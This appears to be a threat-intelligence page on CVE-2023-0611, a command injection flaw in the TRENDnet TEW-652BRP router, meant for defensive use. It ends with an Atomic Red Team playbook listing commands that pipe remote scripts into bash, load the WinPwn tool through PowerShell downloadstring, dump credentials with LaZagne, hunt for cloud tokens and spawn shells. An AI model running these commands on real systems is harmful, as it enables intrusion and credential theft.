CVE-2023-0611
Overview
The vulnerability is a command injection flaw originating from improper input validation in the Web Management Interface component of TRENDnet TEW-652BRP firmware version 3.04B01. Specifically, the issue arises from insecure handling of the get_set.ccp file, which processes user-supplied data without adequate sanitization, enabling arbitrary command execution within the device's operating environment.
Vulnerability Description
A vulnerability, which was classified as critical, has been found in TRENDnet TEW-652BRP 3.04B01. This issue affects some unknown processing of the file get_set.ccp of the component Web Management Interface. The manipulation leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-219935.
Impact
An attacker with network access to the device's management interface can execute arbitrary commands remotely without user interaction, leveraging low complexity attack vectors and limited privileges required (PR:L). This can lead to full compromise of device integrity, disruption of network services, and potential lateral movement within the affected environment. The vulnerability's CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates remote network exploitation with low attack complexity and no user interaction, emphasizing the risk of unauthorized control over the device.
Solution
Users should upgrade the TRENDnet TEW-652BRP firmware to a version later than 3.04B01 where the vendor has addressed the command injection vulnerability. Detailed remediation steps and firmware updates are documented in the advisory available at https://vuldb.com/?id.219935. No specific workaround is provided; therefore, applying the official firmware update is the recommended mitigation to eliminate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the TRENDnet TEW-652BRP router, specifically within the Web Management Interface's handling of the file get_set.ccp. This flaw allows for command injection, which can be exploited by an attacker to execute arbitrary commands on the device. Command injection vulnerabilities occur when an application passes unsafe user input to a system shell, leading to unauthorized command execution. In this case, the flaw arises from improper validation of input data, allowing attackers to manipulate commands that the router processes, potentially leading to severe consequences.
The primary attack vector for this vulnerability is remote exploitation. An attacker does not need physical access to the device, making it particularly dangerous. By crafting a specially designed request to the Web Management Interface, an attacker can inject malicious commands that the router will execute. This could involve altering configurations, redirecting traffic, or even launching further attacks on the network. Given the widespread deployment of such devices in both home and small business environments, the potential for exploitation is significant, especially if the device is accessible over the internet without proper security measures in place.
The real-world implications of this vulnerability are profound. Organizations relying on the TRENDnet TEW-652BRP for network connectivity may face severe operational disruptions. An attacker could gain unauthorized access to sensitive information, disrupt services, or use the compromised device as a foothold to infiltrate deeper into the network. The business risk extends beyond immediate financial loss; it includes reputational damage, regulatory penalties, and the costs associated with incident response and recovery. Furthermore, the public disclosure of the vulnerability increases the urgency for organizations to address it, as the window of opportunity for attackers widens once the exploit becomes known.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize several strategies. First, regular vulnerability assessments and penetration testing can help identify and remediate weaknesses in network devices. Employing intrusion detection systems (IDS) can also alert administrators to suspicious activities that may indicate exploitation attempts. Additionally, organizations should ensure that all devices, including the TRENDnet TEW-652BRP, are updated to the latest firmware version, as manufacturers often release patches to address known vulnerabilities. Implementing network segmentation can further limit the impact of a compromised device, isolating critical systems from potential threats.
In conclusion, the command injection vulnerability in the TRENDnet TEW-652BRP router presents a significant threat to both individual users and organizations. The ability for attackers to exploit this flaw remotely underscores the importance of maintaining robust security practices, including regular updates, monitoring, and proactive vulnerability management. By understanding the nature of this vulnerability and its potential impacts, organizations can better prepare themselves to defend against such threats and minimize the risks associated with their network infrastructure.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-0611, with our telemetry indicating a doubling in detection frequency over a short period. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits identified, this surge in sightings suggests increased scanning or opportunistic attempts to leverage the command injection vulnerability in the TRENDnet TEW-652BRP device. The stability of the EPSS score indicates that the exploitability remains consistent, but the uptick in detection frequency underscores a growing interest from threat actors, potentially signaling early-stage reconnaissance or low-effort exploitation campaigns. For defenders, this heightened activity elevates the urgency to monitor network traffic and device logs for anomalous behavior linked to this vulnerability. Although the risk rating remains high, the increased detection cadence amplifies the likelihood of successful exploitation attempts in the wild, warranting closer attention within threat hunting and incident response workflows.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Trendnet | Tew-652brp Firmware | 3.04b01 |
cpe:2.3:o:trendnet:tew-652brp_firmware:3.04b01:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-0611 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
exploit
|
https://vuldb.com/?id.219935 |
| vuldb.com |
GitHub CVE
signature
|
https://vuldb.com/?ctiid.219935 |